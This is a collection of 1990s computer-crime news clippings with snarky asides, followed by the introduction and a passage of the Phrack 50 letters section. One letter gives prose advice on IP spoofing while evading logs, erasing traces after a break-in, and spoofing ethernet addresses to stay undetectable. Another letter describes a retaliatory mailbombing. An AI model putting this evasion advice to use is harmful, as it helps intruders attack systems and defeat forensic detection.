Deputy Attorney General Jamie Gorelick admitted in July, during an open hearing of the Senate's Governmental Affairs permanent subcommittee on investigations, that the Justice Department: "Where, for example, we are having trouble decrypting information in a computer, and the expertise lies at the NSA, we have asked for technical assistance under our control."

That revelation should have been a bombshell. But like an Olympic diver, the revelation made hardly a ripple.

By law the NSA is allowed to spy on foreign communications without warrant or congressional oversight. Indeed, it is one of the most secretive agencies of the U.S. government, whose existence wasn't even publicly acknowledged until the mid‑1960s. However, it is forbidden to get involved in domestic affairs.

During the hearing Sen. Sam Nunn (D‑Ga.) asked Gorelick if the President had the "the constitutional authority to override statutes where the basic security of the country is at stake?" He then laid out a scenario: "Let's say a whole part of the country is, in effect, freezing to death in the middle of the winter [because a power grid has been destroyed] and you believe it's domestic source, but you can't trace it, because the FBI doesn't have the capability. What do you do?"

Gorelick replied that: "Well, one thing you could do ‑‑ let me say this, one thing you could do is you could detail resources from the intelligence community to the law enforcement community. That is, if it's under ‑‑ if it's ‑‑ if you're talking about a technological capability, we have done that." And then she mentioned that the NSA had been called on to help crack some encrypted data.

But no one caught the significance of Gorelick's' statements. Instead, the press focused on another proposal she outlined, the creation of what amounts to a "Manhattan Project" to help thwart the threat of information warfare. "What we need, then, is the equivalent of the 'Manhattan Project' for infrastructure protection, a cooperative venture between the government and private sector to put our best minds together to come up with workable solutions to one of our most difficult challenges,'' Gorelick told Congress. Just a day earlier, President Clinton had signed an executive order creating a blue‑ribbon panel, made up of several agencies, including the Justice Department, the CIA, the Pentagon and the NSA and representatives of the private sector.

Though the press missed the news that day; the intelligence agency shivered. When I began investigating Gorelick's statement, all I got were muffled grumbling. I called an NSA official at home for comments. "Oh shit," he said, and then silence. "Can you elaborate a bit on that statement?" I asked, trying to stifle a chuckle. "I think my comment says it all," he said and abruptly hung up the phone.

Plumbing several sources within the FBI drew little more insight. One source did acknowledge that the Bureau had used the NSA to crack some encrypted data "in a handful of instances," but he declined to elaborate.

Was the Justice Department acting illegally by pulling the NSA into domestic work? Gorelick was asked by Sen. Nunn if the FBI had the legal authority to call on the NSA to do code‑breaking work. "We have authority right now to ask for assistance where we think that there might be a threat to the national security," she replied. But her answer was "soft." She continued: "If we know for certain that there is a ‑‑ that this is a non‑national security criminal threat, the authority is much more questionable." Questionable, yes, but averted? No.

If Gorelick's answers seem coy, maybe it's because her public statements are at odds with one another. A month or so before her congressional bombshell, she revealed the plans for the information age"Manhattan Project" in a speech. In a story for Upside magazine, by old‑line investigative reporter Lew Koch, where he broke the story, Gorelick whines in her speech about law enforcement going through "all that effort" to obtain warrants to search for evidence only to find a child pornography had computer files "encrypted with DES" that don't have a key held in escrow. "Dead end for us," Gorelick says. "Is this really the type of constraint we want? Unfortunately, this is not an imaginary scenario. The problem is real."

All the while, Gorelick knew, as she would later admit to Congress, that the FBI had, in fact, called the NSA to help break codes.

An intelligence industry insider said the NSA involvement is legal. "What makes it legal probably is that when [the NSA] does that work they're really subject to all the constraints that law enforcement is subject to." This source went on to explain that if the FBI used any evidence obtained from the NSA's code‑breaking work to make it's case in court, the defense attorney could, under oath, ask the NSA to "explain fully" how it managed to crack the codes. "If I were advising NSA today I would say, there is a substantial risk that [a defense attorney] is going to make [the NSA] describe their methods," he said. "Which means it's very difficult for the NSA to do its best stuff in criminal cases because of that risk."

Some 20 years ago, Sen. Frank Church, then chairman of the Senate Intelligence Committee, warned of getting the NSA involved in domestic affairs, after investigating the agency for illegal acts. He said the "potential to violate the privacy of Americans is unmatched by any other intelligence agency." If the resources of the NSA were ever used domestically, "no American would have any privacy left . . . There would be no place to hide," he said. "We must see to it that this agency and all agencies that possess this technology operate within the law and under proper supervision, so that we never cross over that abyss. That is an abyss from which there is no return," he said.

And yet, the Clinton Administration has already laid the groundwork for such "mission creep" to take place, with the forming of this "Manhattan Project."

But if the Justice Department can tap the NSA at will ‑‑ a position of questionable legality that hasn't been fully aired in public debate ‑why play such hardball on the key escrow encryption issue?

Simple answer: Key escrow is an easier route. As my intelligence community source pointed out, bringing the NSA into the mix causes problems when a case goes to court. Better to have them work in the background, unseen and without oversight, the Administration feels. With key escrow in place, there are few legal issues to hurdle.

In the meantime, the Justice Department has started the NSA down the road to crypto mission creep. It could be a road of no return.

Meeks out...

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hacker posts nudes on court's Web pages

author: Rob Chepak

source: The Tampa Tribune

TALLAHASSEE ‑ The Internet home of the Florida Supreme Court isn't the kind of place you'd expect to find nudity.

But that's what happened Wednesday morning when a judge in Tallahassee found a pornographic photo while he was looking for the latest legal news.

A computer hacker broke into the high court's cyberhome, placing at least three pornographic photos and a stream of obscenities on its Web pages. ``All I looked at was the one picture, then I checked with the court,'' said a surprised Charles Kahn Jr., a 1st District Court of Appeal judge.

The altered pages were immediately turned off. The Florida Department of Law Enforcement is investigating the incident and the U.S. Justice Department has been contacted. The hacker didn't tamper with any official records, court officials said.

``We've got three photos and we're looking for more,'' said Craig Waters, executive assistant to Chief Justice Gerald Kogan. The culprit ``could be anyone from someone in the building to the other side of the world.''

[* I bet they are looking for more.. *]

The Florida Court's Web site is used to post information about court opinions, state law and legal aid. Thousands of people, including children, use the court system's more than 500 Internet pages each month, Waters said. The court and other state agencies usually keep their most vital information on separate computers that can't be accessed on the Internet. Officials aren't sure how the culprit broke in, and FDLE had no suspects Thursday afternoon. But court officials long have suspected their Web site could be a target for hackers armed with the computer equipment to impose photos on the Web. The Florida Supreme Court became the first state Supreme Court in the nation to create its own Internet pages two years ago. While the episode sounds like a well‑crafted high school prank, computer hackers are becoming a big problem for government agencies, which increasingly are finding themselves the victims of criminal tampering on the Internet. In August, someone placed swastikas and topless pictures of a TV star on the U.S.

Department of Justice's home page. The Central Intelligence Agency has been victimized, too.

``It's certainly a common problem,'' said P.J. Ponder, a lawyer for the Information Resource Commission, which coordinates the state government's computer networks. However, there are no statistics on incidences of tampering with state computers.

The best way for anyone to minimize damage by computer hackers is by leaving vital information off the Internet, said Douglas Smith, a consultant for the resource commission. Most state agencies follow that advice, he added. ``I think you have to weigh the value of security vs. the value of the information you keep there,'' he said.

Court officials would not reveal details of the sexually explicit photos Thursday, but Liz Hirst, an FDLE spokeswoman, said none were of children.

Penalties for computer tampering include a $5,000 fine and five years in jail, but the punishment is much higher if it involves child pornography, she said.

Without a clear motive or obvious physical evidence, FDLE investigators, who also investigate child pornography on the Internet, hope to retrace the culprit's steps in cyberspace. However, Ponder said cases of Internet tampering are ``very difficult to solve.'' Thursday, the state's top legal minds, who are used to handing out justice, seemed unaccustomed to being cast as victims. ``No damage was done,'' Kogan said in a statement. ``But this episode did send a message that there was a flaw in our security that we now are fixing.''

[* I tell you (and other agencies) I do security consulting!! Please?! *]

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hacking Into Piracy

source: The Telegraph

22nd October 1996

Computer crime investigators are using the techniques of their adversaries to crack down on illegally traded software. Michael McCormack reports.

The adage "Set a thief to catch a thief" is being updated for the electronic age as online investigators use hackers' techniques to fight a thriving trade in counterfeit and pirate software that is reckoned to cost British program‑makers more than 3 billion a year.

"Jason", a computer crime investigator employed by Novell to shut down bulletin boards that trade pirate copies of its software, leads a confusing double life. First he spends weeks in his office, surfing the Internet and wheedling secrets from hackers around Europe; then he compiles dossiers of evidence on the system operators who deal in Novell wares, flies to their bases, presents the local police with his reports, and accompanies them on the inevitable raid.

"Every day I'm on IRC [the Internet's chat lines, where information can be exchanged quickly and relatively anonymously] looking for tips on new bulletin boards that might have Novell products on them," he says.

"Our policy has been to go country by country through Europe and try to take down the biggest boards in each one"

"It tends to be the biggest boards that have our products, and those can be difficult to get on to. The operators have invested a lot of time and cash in setting them up and they're sometimes quite careful who they'll let on. I often start by joining dozens of little boards in the area to get myself a good reputation, which I can use as a reference to get on to the big board.

"Our policy has been to go country by country through Europe and try to take down the biggest boards in each one. That has a chilling effect on the other operators. They think, 'If he could get caught, I'm doomed.' Within days of us taking down a big board, Novell products disappear off the smaller ones."

Once Jason gains entry to a big board, the game begins in earnest: "Bulletin boards work on the principle that if you want to take something off, you first have to put something in. Obviously I can't put in Novell's products, or any other company's; instead, we use a program we wrote ourselves. It's huge, and it has an impressive front end full of colour screen indicators and menus. It doesn't actually do anything but it looks impressive and it lets you start pulling things off the site."

Once Jason finds company products on a board, he makes a video of himself logging on and retrieving a copy of the software.

[* Talk about freako bizarre narc fetishes.. *]

Bulletin boards often have restricted areas closed to all but a few trusted members, and these are where the most illegal products ‑ such as expensive business or word‑processing packages copied from beta releases or pirate disks ‑ are kept. Penetrating these areas takes a skill learned from the hackers. "It's called social engineering," says Jason. "It just means chatting up the operator until he decides to trust you with the goodies."

Once Jason finds company products on a board, he makes a video of himself logging on and retrieving a copy of the software. Then it's on to a plane to go and lodge a complaint with the local police.

He is helped by Simon Swale, a fellow Novell investigator and former Metropolitan Police detective who uses his experience of international police procedures and culture to ensure that foreign forces get all the technical help they need.

In the past six months, Jason's investigations have shut down seven bulletin boards across Europe, recovering software valued at more than 500,000. The company reckons the closed boards would have cost it more than 2.5 million in lost sales over the next year.

Jason has vivid memories of the early‑morning raid on the operator's house.

One of the Jason's biggest successes came earlier this year in Antwerp, when he guided Belgian police to the Genesis bulletin board, which held more than 45,000 worth of Novell products and a slew of other pirate software. Jason has vivid memories of the early‑morning raid on the operator's house: "The first thing he said was, 'I have nothing illegal on my system.' So I set up my laptop and mobile and dialled into it from his kitchen. All the police watched as I tapped into my keyboard and everything popped up on his screen across the room. I went straight in to the Novell stuff and he said, 'Okay, maybe I have a little'."

The system operator, Jean‑Louis Piret, reached a six‑figure out‑of‑court settlement with Novell. More importantly for the company, its products have all but disappeared from Belgium's boards in the wake of the raid.

There are, however, many more fish to fry. Jason already has another three raids lined up for autumn . . .

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Revealing Intel's Secrets

The Intel's Secrets site may not be around for long if Intel has anything to say about it. The site provides a look at details, flaws, and programming tips that the giant chip manufacturer would rather not share with the general public. One particular page exposes some unflattering clitches of the P6 chip and a bug in the Intel486 chip. The site even has two separate hit counters: one for the average visitor, and one that counts the number of times Intel has stopped by.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Internet Boom Puts Home PCs At Risk Of Hackers

author: Nick Nuttall

source: The London Times

18th October 1996

Home computers, which carry everything from private banking details to love letters, are becoming vulnerable to hackers as more households connect to the Internet.

The boom in electronic services is making the home PC as open to attack as company and government systems, a survey of hackers has disclosed. The Internet is also helping hackers to become more skilful as they exchange tips and computer programs around the globe.

[* Survey of hackers?! Bullshit. *]

A spokesman for Kinross and Render, which carried out the survey for Computacenter, said: "Breaking into home computers is now increasingly possible and of great interest to hackers. It may be a famous person's computer, like Tony Blair's or a sports personality. Equally it could be yours or my computer carrying personal details which they could use for blackmailing."

Passwords remain easy to break despite warnings about intrusion. Companies and individuals frequently use simple name passwords such as Hill for Damon Hill or Blair for the Labour leader. Hackers also said that many users had failed to replace the manufacturer's password with their own.

Hackers often use programs, downloaded from the Internet, which will automatically generate thousands of likely passwords. These are called Crackers and have names such as Satan or Death.

[* Satan? Death? Ahhhh! *]

John Perkins, of the National Computing Centre in Manchester, said yesterday: "The linking of company and now home computers to the global networks is making an expanding market for the hackers." The Computacenter survey was based on interviews with more than 130 hackers, supplemented by interviews over the Internet. The average hacker is 23, male and a university student. At least one of those questioned began hacking ten years ago, when he was eight.

[* No offense to anyone out there, but how in the hell could they validate any claims in a survey like that? And especially with that amount? *]

Most said it was getting easier, rather than harder, to break in and many hackers would relish tighter computer security because this would increase the challenge. Existing laws are held in contempt and almost 80 per cent said tougher laws and more prosecutions would not be a deterrent. Eighty‑five per cent of those questioned had never been caught.

Most said the attraction of hacking lay in the challenge, but a hard core were keen to sabotage computer files and cause chaos, while others hoped to commit fraud.

[* Excuse me while I vomit. *]

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Computer hacker Mitnick pleads innocent

September 30, 1996

LOS ANGELES (AP) ‑‑ The notorious computer hacker Kevin Mitnick pleaded innocent Monday to charges he mounted a multimillion‑dollar crime wave in cyberspace during 2 1/2 years as a fugitive.

Mitnick, 33, held without bail on a fraud conviction, told the judge not to bother reading the indictment, which includes 25 new counts of computer and wire fraud, possessing unlawful access devices, damaging computers and intercepting electronic messages.

"Not guilty," Mitnick said. His indictment, handed up Friday by a federal grand jury, follows an investigation by a national task force of FBI, NASA and federal prosecutors with high‑tech expertise.

It charges Mitnick with using stolen computer passwords, damaging University of Southern California computers and stealing software valued at millions of dollars from technology companies, including Novell, Motorola, Nokia, Fujitsu and NEC.

...........

Mitnick pleaded guilty in April to a North Carolina fraud charge of using 15 stolen phone numbers to dial into computer databases. Prosecutors then dropped 22 other fraud charges but warned that new charges could follow.

Mitnick also admitted violating probation for a 1988 conviction in Los Angeles where he served a year in jail for breaking into computers at Digital Equipment Corp. At 16, he served six months in a youth center for stealing computer manuals from a Pacific Bell switching center.

Mitnick also got a new lawyer Monday, Donald C. Randolph, who represented Charles Keating Jr.'s top aide, Judy J. Wischer, in the Lincoln Savings swindle.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hackers Destroy Evidence of Gulf War Chemical/Biological Weapons source: WesNet News

Saturday, Nov. 2, 5:00 p.m.

WASHINGTON DC ‑‑ Hackers broke into a Web site (http://insigniausa.com)

containing suppressed evidence of Gulf War chemical and biological weapons Friday, erasing all files.

"Someone hacked in Friday around 4 p.m. and completely trashed our machine," said Kenneth Weaver, webmaster of W3 Concepts, Inc. (http://ns.w3concepts.com) of Poolesville, Maryland (a suburb of Washington

D.C.), which houses the site.

The Web site contained recently‑released supressed Department of Defense documents exposing biological and chemical warfare materials that U.S. companies allegedly provided to Iraq before the war.

Bruce Klett, publisher, Insignia Publishing said they are now restoring the files. "We plan to be operational again Saturday evening or Sunday," he said. "We encourage anyone to copy these files and distribute them." There are over 300 files, requiring 50 MB of disk space.

The Department of Defense has its own version of these files on its Gulflink Web site (http://www.dtic.dla.mil/gulflink/).

Insignia plans to publish Gassed In the Gulf, a book on the government's coverup by former CIA analyst Patrick Eddington, in six to eight weeks, Klett added.

Hackers also brought down SNETNEWS and IUFO, Internet mailing lists covering conspiracies and UFOs, on Oct. 25, according to list administrator Steve Wingate. He plans to move the lists to another Internet service provider be be back in operation soon.

"We've seen this happen regularly when we get too close to sensitive subjects," Wingate said. "The election is Tuesday. This is a factor."

He also said a "quiet" helicopter buzzed and illuminated his Marin County house and car Thursday night for several minutes.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Criminals Slip Through The Net

source: The Telegraph, London

5th November 1996

Britain is way behind in the fight against computer crime and it's time to take it seriously, reports Michael McCormack

BRITAIN'S police forces are lagging behind the rest of the world in combating computer crime, according to one of the country's most experienced computer investigators ‑ who has just returned to walking the beat.

Police Constable John Thackray, of the South Yorkshire Police, reached this grim conclusion after a three‑month tour of the world's leading computer crime units, sponsored by the Winston Churchill Memorial Trust.

All of the five countries he studied, he says, are putting Britain's efforts against electronic crime to shame.

"The level of education and understanding of computer crime is far more advanced outside Britain," said Thackray.

"Here, police forces are shying away from even attempting to investigate computer crimes. You see experienced detectives who lose all interest in pursuing cases where there are computers involved.

"We know that computer crime, particularly software piracy, is closely connected with organised crime ‑ they like the high profits and the low risk ‑ but those connections aren't followed up."

He adds:"We are far behind our own criminals on these matters. We only catch them when they get complacent and keep using old technology and old methods. If they simply keep up with current technology, they are so far ahead they are safe." Thackray was one of the officers responsible for closing down one of the largest pirate bulletin boards in the country, estimated to have stolen software worth thousands last year and has assisted officers from other forces in several similar cases. Pirates recently named a new offering of bootleg software "Thackray1 and 2" in his honour.

He has seen how seriously such crimes are taken by police forces abroad: "In America there are specialist units in every state and a similar system is being put in place in Australia. There's nothing nearly as comprehensive in in Britain.

"We have the Computer Crimes Unit at Scotland Yard and a small forensic team at Greater Manchester, but they're both badly under‑resourced and there's little interest in, or support for, investigating computer crimes in other forces.

"Our officers must get a better education, to start with, on what computer crime is, how it works and who is being hurt by it. We need to bury the impression that this is a victimless crime with no serious consequences."

Thackray is preparing a report on his impressions of anti‑crime initiatives in other countries and what must be done in Britain to equal them. "In my view, we need specially detailed officers who are educated in computer crime issues.

"We also need to become much more pro‑active in our approach. It's not good enough to sit back and wait for the complaints."

But perhaps symptomatic of Britain's efforts is the way Thackray's valuable experience is being used. He is putting away his laptop and getting out his boots.

"I'm now being moved back into uniform. The two year experience I have gained in investigating these matters is not going to be used to its full potential."

"We pride ourselves on being an effective police service in Britain, and other countries look up to us. But when it comes to computer crime, we have to start following their lead."

50

- Introduction by Phrack Staff

- Phrack Loopback by Phrack Staff

- Line Noise by various

- Phrack Prophile on Aleph1 by Phrack Staff

- Linux TTY hijacking by halflife

- Juggernaut by route

- SNMP insecurities by Alhambra

- Cracking NT Passwords by Nihil

- SS7 Diverter plans by Mastermind

- Skytel Paging and Voicemail by pbxPhreak

- Hardwire Interfacing under Linux by Professor

- PC Application Level Security by Sideshow Bob

- DTMF signalling and decoding by Mr. Blue

- DCO Operating System by mrnobody

- Phrack World News by Alhambra

- extract.c by Phrack Staff

Introduction

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

1 of 16

Issue 50 Index

_________

P H R A C K 5 0

April 09, 1997

_________

"The Perfect Drug"

START the fireworks...

ALERT the mass media...

CUE up the Axel‑F Beverley Hills Cop music... AND FOR THE LOVE OF GOD, SOMEONE NOTIFY MITCH KABAY...!

Phrack 50 is here.

To celebrate this landmark event, for a limited time, we are offering *all* Phrack issues (including this one) at a special "WE‑MUST‑BE‑OUT‑OF‑OUR‑MINDS" rate of HALF‑PRICE!! That's right! Now you can enjoy Phrack for 50% off the standard price of free! Now you can enjoy your favorite electronic zine and still have enough money left over to get those breast implants!

<SOAPBOX>

It seems, in recent months, the mass media has finally caught onto what we have known all along, computer security _IS_ in fact important. Barely a week goes by that a new vulnerability of some sort doesn't pop up on CNN. But the one thing people still don't seem to fathom is that _WE_ are the ones that care about security the most... We aren't the ones that the corporations and governments should worry about... We are not the enemy.

Phrack is often described by the mass media as an 'Underground Hacker's Zine' run by `irresponsible` youths. Compare Phrack's distribution with that of the security publications that charge just enough money to keep students and interested outsiders from reading it... Then decide who is `irresponsible`. Phrack is often criticized by professionals as giving away tools to people who aren't responsible enough to use them. The fact is, we are giving away tools to people who aren't rich enough to buy them.

The parallels between Internet packet sniffing and phone wire tapping are enormous. The abuses of wire tapping by government agencies are well documented. Not so well documented, however, are similar abuses by these same agencies across key Internet access points. This is just another classic example of the Government trying to assert complete control. The Internet is, however, anarchistic by nature and dynamic by design. It resists all attempts at governing and all attempts at control.

By providing a public compendium of the same knowledge, information and resources that all the money in the world can buy, we help ensure that the Internet will remain safe with the individual. Knowledge is not power. Knowledge is _empowerment_.

</SOAPBOX>

This issue contains a great deal of C source code. Somewhere in the neighborhood of 5000 lines of C source. To facilitate painless extraction of the code and support files into an arbitrarily designated hierarchical directory structure and still maintaining readability while in `zine` format, we developed a custom extraction utility. (Good lord that was a long sentence...) Article 16 contains the source for extract.c, instructions for compilation and use can be found therein.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enjoy the magazine. It is for and by the hacking community. Period.

Editors : daemon9[route], Datastream Cowboy Asst. Editor : Alhambra (appears courtesy of the guild corp.) On ice : Voyager

Mailboy : Erik Bloodaxe

News : Alhambra, disorder

Elite : snocrash

Best Coast : Left Coast

Fatstar : loadammo

Thinstar : nirva

SPOOOOOOOOON! : sirsyko

Rocks the Fucking House : 16 Volt

Bad at pool : the NSA

Tip o' the black hat : omerta

Birthday Boy : loki

GET A LIFE : All you jennicam losers. (jennicam.simplenet.com) Shout outs / Thank yous : mudge (cos he just plain rules), the Guild and r00t, pyro, blaboo, o0, halflife, nihil (for dealing with my daily whining, working 6848 hours a week, and *still* providing the kickass article), alhambra (for coming through in a big way for Phrack when other people let us down), mycroft (fruitbat), Juliet (cookies)

Phrack Magazine V. 7, #50, April 09, 1997.

Contents Copyright (c) 1996/7 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editors. Phrack Magazine is made available quarterly to the public, free of charge. Go nuts people.

Subscription requests, articles, comments, whatever should be directed to:

phrackedit@infonexus.com

Submissions to the above email address may be encrypted with the following key (note this is a REALLY NEW key, we promise not to lose it this time):

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6.2

mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j 0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG /v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0D1BocmFjayBNYWdhemlu ZQ==

=sdwc

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED

Phrack goes out plaintext... You certainly can subscribe in plaintext

.oO Phrack 50 Oo.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Table Of Contents

1. Introduction .Phrack Staff 9K

2. Phrack Loopback ... Phrack Staff 60K

3. Line Noise ... various 72K

4. Phrack Prophile on Aleph1 ... Phrack Staff 7K

5. Linux TTY hijacking ... halflife 15K

6. Juggernaut route 123K

7. SNMP insecurities ... Alhambra 20K

8. Cracking NT Passwords ... Nihil 17K

9. SS7 Diverter plans ... Mastermind 27K

10. Skytel Paging and Voicemail ... pbxPhreak 36K 11. Hardwire Interfacing under Linux ... Professor 11K 12. PC Application Level Security ... Sideshow Bob 21K 13. DTMF signalling and decoding ... Mr. Blue 17K

14. DCO Operating System ... mrnobody 16K

15. Phrack World News ... Alhambra 110K

16. extract.c Phrack Staff 2K

523k

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Every article in Phrack is written free of charge, for and by the hacking community. If you are a hack, phreak, student, professor, professional, or even a loser with an idea and you have some knowledge or information you would like to empart, there are thousands of readers who would love nothing more than to learn from you. If you want to submit something anonymously, it will stay anonymous, if you want attributation, feel free to use your real name or a psuedonym. The deadline for submissions to Phrack 51 is July 25th, 1997, but the earlier the better. If you are planning on writing an article we'd like to hear from you as soon as possible.

If you don't think you are going to be able to write an article, but you have some comments about Phrack, commentary about the hacking world, funny stories, exploits, news items, or just want to tell us about the government site you just hacked (PGP'd and through an anonymous remailer PLEASE), we love getting mail. PGP key and e‑mail address are above.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

" *pyro* phrack is my faith and the e‑zine is my bible, you are one of my high priests! "

‑ Some IRC zealot

" ...r00t and the guild.... Like peanut‑butter and jelly ‑‑ you could have one without the other, but *why* would you want to...? " ‑ route

Phrack Loopback

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

2 of 16

Phrack Loopback

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi,

I have a story of violations of freespeech and censorship and if I am busted unjustly, please publish this story to the public. Yesterday some faggot e‑mailed me with a ton of ascii crap that took me an hour + to DL. WHen I finished DLing it, windoze stalled and I had to restart.. So naturally I was pissed off. The reason this guy said he did this was because I posted a cheat program for the game Diablo on my webpage and he doesn't like cheaters. Today he e‑mailed me again with ascii crap.....I was beyond pissed....so I did what anyone in my position would do....Imailbombed him ... about 600 msg's or so. I used Kaboom3 and an SMTP I thought (Looked like it from port 25) was anonymous and untraceable.

As it turns out, 2 hours later the head of security at Earthlink (my current ISP) called and said that someone from my account had e‑mail bombed this person. The security guy said that the person I bombed complained to his ISP because it "put out his business for hours." His ISP traced it to Earthlink and then to me, by contacting the earthlink security guy and having him look in the logs for who was connected to the ip (dynamic) they saw in the bomb messages at the time the bombing occurred. He also said that the guy I bombed called the FBI and got them involved in it. Is this sounding fucking ridiculous yet? First of all, any reputable business presumably has a better‑than‑28.8 connection, which means it would have taken this guy a couple seconds to DL my bomb. Secondly, even if he doesn't have a T‑1, at 28.8 it would take 2 hours or so, maybe less. But the FBI is involved..... I can't fucking believe it! So naturally the first thing I do is e‑mail all the reputable hackz known to me. This is ridiculous, this is oppressive, this is BIG BROTHER!

Yours,

GrEeNbEaSt

[ So, what exactly is it that you want us to do, besides burst into fits of uncontrollable for several minutes at a time? ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey, in phrack 48, the article on IP spoofing says you need to sample to TCP sequence numbers of the host you are attacking. The method is suggests is to connect via SMTP and then drop the connection. There is a problem with this ‑ sendmail usually logs failed mail transfers, so the host will probably be able to correlate this with the time of the attack and find out who you are. Further, this connection must be done from a non‑spoofed IP address to guarantee you get a returned packet. There are two options available here:

1) Forge the sequence sampling connection as another host on your subnet (although if they contact your provider and your provider logs massive data, you're busted ‑ also this will not work if the local network uses an active hub)

2) Make sure to remove these traces if you manage to crack the machine this is all or nothing ‑ if you fail to crack it, but left indicators of an attack, you are screwed. (again only if your provider logs heavily)

If you want to circumvent these dangers altogether, simply sample the sequence numbers from some highly non‑logging port. The standard inetd server for UNIX runs a TCP echo, discard and chargen service, which you can get sequence numbers from, and does not log anything.

There are two complications to this attack which are becoming increasingly used, and which effectively prevent it.

1) Some providers do not allow foreign IP addresses to go out of their subnet as source IP addresses ‑ this is done through router blocking. Most sites just don't give a damn or are too stupid to figure out how to do it, but the number of providers doing this is increasing. You could try to hack their router ‑ easy to find, do a traceroute, but chances of success are slim if it doesn't allow remote logins. Also, your ISP will know if this happens, and may take additional precautions immediately (such as grabbing your ethernet address if you are on a local network then you are f!!ked) We don't want any minors reading this to see any offensive words, do we ‑ oh lord, they might even ban phrack in the state of Texas. No offense to anyone from Tx unless they deserve it.

2) Some OS's use pseudo‑random number generators to create TCP sequence numbers at the beginning of each connection. This is easy to do under Linux, and I think some commercial OS's might even be doing this now (anyone have confirmation of the rumor that Solaris now does this?) Now, this is easy to check for ‑ connect twice in immediate succession and see if you get two sequential (or close) numbers. However, a workaround for this would be to generate pseudo‑random sequence numbers for the first connection from a given IP address (and then again when the IP layer no longer has any knowledge of this IP address) If a site was running non‑crypto pseudo‑random sequences, it would be possible to analyze it using a spectral test to try to predict sequence numbers, but if they use a cryptographically secure sequence generator, you would have to break it (probably not too hard since any highly secure crypto sequence would make IP response time unreasonably slow) A counter‑solution to this would be to generate random numbers in low cpu load time, and have a buffer of them for later use. Here, we could probably go on forever with attacks and countermeasures, so lets stop now, as a cure for sanity.

As an aside note for the highly paranoid: ethernet spoofing

Note: some of this is theorized, and might not be 100% accurate ‑ if you get the jist of it, you should be able to figure out if it works for you.

It is possible to spoof ethernet hardware addresses as well. Some cards will allow you to do this easily, but you need to have card programming docs (check the Linux kernel source for your card driver‑!!). Others won't let you do it at all, and require a ROM change, or worse it might be solid state logic on the card ‑ EVIL. Course you might be able to get around solid state stuff by recoding the ROM, but I wouldn't recommend it unless you don't have the $70 to buy a new card, and have a month or two to spend in the basement.

If you make up an ethernet address, you should probably use a real card identifier (the first three bytes). This is because some sniffing software raises warning flags when unknown card identifiers pop up, and this software is run by more network admins than I'd like to think.

Some new hub technologies may limit this type of spoofing‑ most notably, active hubs wouldn't allow it at all. Other new hub designs use mappings of ethernet address to specific ports on the hub, so you might not be able to change the address without turning off the machine, waiting for the hub to time out the address, and rebooting.

Ethernet hardware address spoofing will make a machine completely undetectable, provided it is not the only machine on a network that is being monitored.

There may be a way around active hubs, and this is multicast ethernet addresses. Any network card capable of multicast should be able to send packets with an ethernet multicast address. This address is not specific to each card, as many cards can send and receive on the same multicast address. The problem here is router and hub technology may have already advanced to the point where it can distinguish multicast ethernet addresses and convert them to multicast IP addresses, which would not allow you to spoof. This is only theoretical ‑ I haven't tried it, don't know anyone who has, and have never even heard rumors about it.

Note : this information is in no means comprehensive ‑ I don't have the time or resources to study it, but most likely results in ethernet spoofing vary by the manufacturers of the network hardware all the way down the local line ‑ (i.e ‑ ethernet card all the way to the first gateway)

Another aside: return path rerouting

In return path rerouting, the IP spoofing attack follows the same general principal, except that the attacking machine gets reply packets, and does not need to operate blind. There are three ways to make this work:

1) Pretending to be a trusted host on your subnet

Easy, just pick up packets destined for the trusted machine which look like responses to your forged packets, and send on their IP address, and SYN flood their machine. This will even work past blocking ISP's

2) Source routing attack

